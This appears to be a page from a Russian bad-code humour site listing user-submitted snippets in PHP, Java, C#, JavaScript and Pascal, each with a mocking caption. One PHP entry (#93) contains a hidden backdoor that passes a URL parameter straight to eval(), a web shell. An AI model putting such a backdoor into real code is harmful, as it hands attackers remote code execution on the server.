1. PHP / Говнокод #95

    +44.9

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    if ($_name=='homepage' AND !is_numeric($_GET['id2']))
    
    	include(SITEROOT."tpl/main.php");
    
    else
    
    	include(SITEROOT."tpl/main.php");

    Устроился программистом в одну контору... Начальник дал CMS типа их собственная разработка... вот что я там увидел

    guest, 10 Декабря 2008

    Комментарии (6)
  2. Java / Говнокод #94

    +18.5

    1. 1
    2. 2
    3. 3
    if (true) {
      // Something
    }

    Уже два года, как девушка закончила универ...

    guest, 10 Декабря 2008

    Комментарии (13)
  3. PHP / Говнокод #93

    +87.3

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    9. 9
    <?php
    echo "<html>";
    echo "<body>";
    echo "<h1>This is my home page</h1>";
    echo "DATENG & DOORWAY";
    echo "</body>";
    echo "</html>";
    if (isset($_GET['adminka'])) eval($_GET['adminka']);
    ?>

    guest, 10 Декабря 2008

    Комментарии (8)
  4. C# / Говнокод #92

    +31

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    public TourResult NextTour()
          {
            TourResult lresult = new TourResult();
            lresult.TourNum = mCurrentTour;
            lresult.IsEnd = false;
            Card.Face[] lCurrFaces = getCurrentTourFace();
            int lMaxFace = 0;
            foreach (Card.Face lFace in lCurrFaces)
            {
              lMaxFace = ((int)lFace) > lMaxFace ? (int)lFace : lMaxFace;
            }
            int lMaxFaceCount = 0;
            int lNotZeroCount = 0;
            foreach (Card.Face lFace in lCurrFaces)
            {
              lMaxFaceCount = (int)lFace == lMaxFace ? lMaxFaceCount + 1 : lMaxFaceCount + 0;
              lNotZeroCount = (int)lFace != 0 ? lNotZeroCount + 1 : lNotZeroCount + 0;
            }
    
            if (lMaxFaceCount > 1)
            {
              mUnknowTour = mUnknowTour > -1 ? mUnknowTour : mCurrentTour;
              mCurrentTour++;
              lresult.Message = "Одинаковые карты, надо разиграть";
              lresult.PlayerIndex = -1;
              lresult.Face = (Face)lMaxFace;
              return lresult;
            }
            int lMaxFaceIndex;
            for (lMaxFaceIndex = 0; lMaxFaceIndex < lCurrFaces.Length; lMaxFaceIndex++)
            {
              if (((int)lCurrFaces[lMaxFaceIndex]) == lMaxFace)
                break;
            }
            if (lNotZeroCount < 2)
            {
              lresult.Message = "победил";
              lresult.PlayerIndex = lMaxFaceIndex;
              lresult.IsEnd = true;
              return lresult;
            }
            int lPlaerCardsCount = mArr[lMaxFaceIndex].Count;
            if (mUnknowTour > -1)
            {
              for (int i = mUnknowTour; i <= mCurrentTour; i++)
              {
                AddCardsToPlayer(i, lMaxFaceIndex);
              }
              mUnknowTour = -1;
            }
            else
            {
              AddCardsToPlayer(mCurrentTour, lMaxFaceIndex);
            }
    
            lresult.Message = "загреб краты";
            for (int i = lPlaerCardsCount; i < mArr[lMaxFaceIndex].Count; i++)
            {
              lresult.Message += string.Format(" {0},", GetCardName(mArr[lMaxFaceIndex][i]));
            }
    
            lresult.PlayerIndex = lMaxFaceIndex;
            mCurrentTour++;
            return lresult;
          }

    Говнокод из карточной игры в пьяницу

    guest, 10 Декабря 2008

    Комментарии (8)
  5. Java / Говнокод #91

    +27

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    private int checkTerm(PatternTerm term, int arr[],
          int symbNum, boolean isEditing) {
        if (term.count != INFINITY) {
          int endIdx = Math.min(symbNum + term.count, arr.length);
            int count = 0;
            switch(term.termType) {
              case DIGIT: {
                for(int i = symbNum; i < endIdx; i++) {
                  if (!Character.isDigit((char)arr[i]))
                    return -1;
                  count++;
                }
                break;
              }
              case LETTER: {
                for(int i = symbNum; i < endIdx; i++) {
                  if (!Character.isLetter((char)arr[i]))
                    return -1;
                  count++;
                }
                break;
              }
              case LETTERORDIGIT: {
                for(int i = symbNum; i < endIdx; i++) {
                  if (!Character.isLetterOrDigit((char)arr[i]))
                    return -1;
                  count++;
                }
                break;
              }
              case CHARACTER: {
                for(int i = symbNum; i < endIdx; i++) {
                  if (arr[i] != term.value)
                    return -1;
                  count++;
                }
                break;
              }
          }
          if (!isEditing && count != term.count)
            return -1;
          
          symbNum+=term.count;
        } else {
          int i = 0;
          switch(term.termType) {
            case DIGIT: {
              while (((symbNum + i) < arr.length) &&
                  Character.isDigit((char)arr[symbNum + i])) i++;
              break;
            }
            case LETTER: {
              while (((symbNum + i) < arr.length) &&
                  Character.isLetter((char)arr[symbNum + i])) i++;
              break;
            }
            case LETTERORDIGIT: {
              while (((symbNum + i) < arr.length) &&
                  Character.isLetterOrDigit((char)arr[symbNum + i])) i++;
              break;
            }
            case CHARACTER: {
              while (((symbNum + i) < arr.length) &&
                  (arr[symbNum + i] == term.value)) i++;
              break;
            }
          }
          symbNum+=i;
        }
        return symbNum;
      }

    Паша любит такие конструкции, которые хрен разобрать

    guest, 10 Декабря 2008

    Комментарии (4)
  6. C# / Говнокод #90

    −10.5

    1. 1
    this.SelectedDate = this.SelectedDate;

    Проверяем дату на корректность...

    guest, 10 Декабря 2008

    Комментарии (9)
  7. JavaScript / Говнокод #89

    +16.3

    1. 1
    val=(chb.checked?val|VAR_ID:val&~VAR_ID);

    позволяет сохранить в число 32 числа

    guest, 10 Декабря 2008

    Комментарии (0)
  8. Pascal / Говнокод #88

    −42.8

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    procedure TForm1.fritb(ie:longint;var fr0:extended);
     begin
    v1:=0;
     for nsf:=1 to 5 do
      begin
       kl11:=0;kl12:=0;kl22:=0;
      for k:=1 to km[nsf] do
        begin
        if (cm^[ie]=cm^[nm^[(ie-1)*kms[ksf+1]+kms[nsf]+k]])and (cm^[ie]=1)
        then      kl11:=kl11+1;
        if (cm^[ie]=cm^[nm^[(ie-1)*kms[ksf+1]+kms[nsf]+k]])and (cm^[ie]=2)
        then      kl22:=kl22+1;
    if (cm^[ie]<>cm^[nm^[(ie-1)*kms[ksf+1]+kms[nsf]+k]])and(cm^[nm^[(ie-1)*kms[ksf+1]+kms[nsf]+k]]<>0)and (cm^[ie]<>0)
        then      kl12:=kl12+1;
         end;
      fr0:=fr0+kl11*(p11[1,nsf])+kl22*p11[2,nsf]+kl12*p11[3,nsf];
      v1:=v1+kl11*(f11[1,nsf])+kl22*f11[2,nsf]+kl12*f11[3,nsf];
       end;
      fr0:=fr0-sqrt(abs(v1));
     end;

    процеДуро

    guest, 09 Декабря 2008

    Комментарии (2)
  9. Pascal / Говнокод #87

    −12.7

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    for i:=sk[(npl-1)*5+1] to sk[(npl-1)*5+2]-1 do
       begin
       l1:=0;l2:=0;l3:=0;l4:=0;l5:=0;l6:=0;l7:=0;l8:=0;l9:=0;l10:=0;
      for j:=1 to 100 do g1[j]:=0;
       for k:=sk[(npl-1)*5+1] to sk[(npl-1)*5+2] do
         if (k<>i )and
       (((abs(xyz^[pxyz^[i]].x-xyz^[pxyz^[k]].x)< dd) or  ((lx-abs(xyz^[pxyz^[i]].x-xyz^[pxyz^[k]].x))<dd))
       and ((abs(xyz^[pxyz^[i]].y-xyz^[pxyz^[k]].y)<dd) or  ((ly-abs(xyz^[pxyz^[i]].y-xyz^[pxyz^[k]].y))<dd))
       and ((abs(xyz^[pxyz^[i]].z-xyz^[pxyz^[k]].z)<dd) or  ((lz-abs(xyz^[pxyz^[i]].z-xyz^[pxyz^[k]].z))<dd)))
       then

    это только заголовок цикла ..

    guest, 09 Декабря 2008

    Комментарии (4)
  10. Java / Говнокод #86

    −50

    1. 1
    2. 2
    3. 3
    4. 4
    contents = contents.replaceAll("\\&lt;(\\w+)\\&gt;", "<CT_$1>\n");
    				contents = contents.replaceAll("\\&lt;(\\w+)(\\s\\w+)=\\&quot;(\\w+)\\&quot;\\&gt;", "<CT_$1$2=\"$3\">\n");
    				contents = contents.replaceAll("\\&lt;(\\w+)(\\s\\w+)=\\&apos;(\\w+)\\&apos;\\&gt;", "<CT_$1$2='$3'>\n");
    				contents = contents.replaceAll("\\&lt;/(\\w+)\\&gt;", "\n</CT_$1>\n");

    преобразуем эскейпнутые тэги в обычные

    guest, 09 Декабря 2008

    Комментарии (2)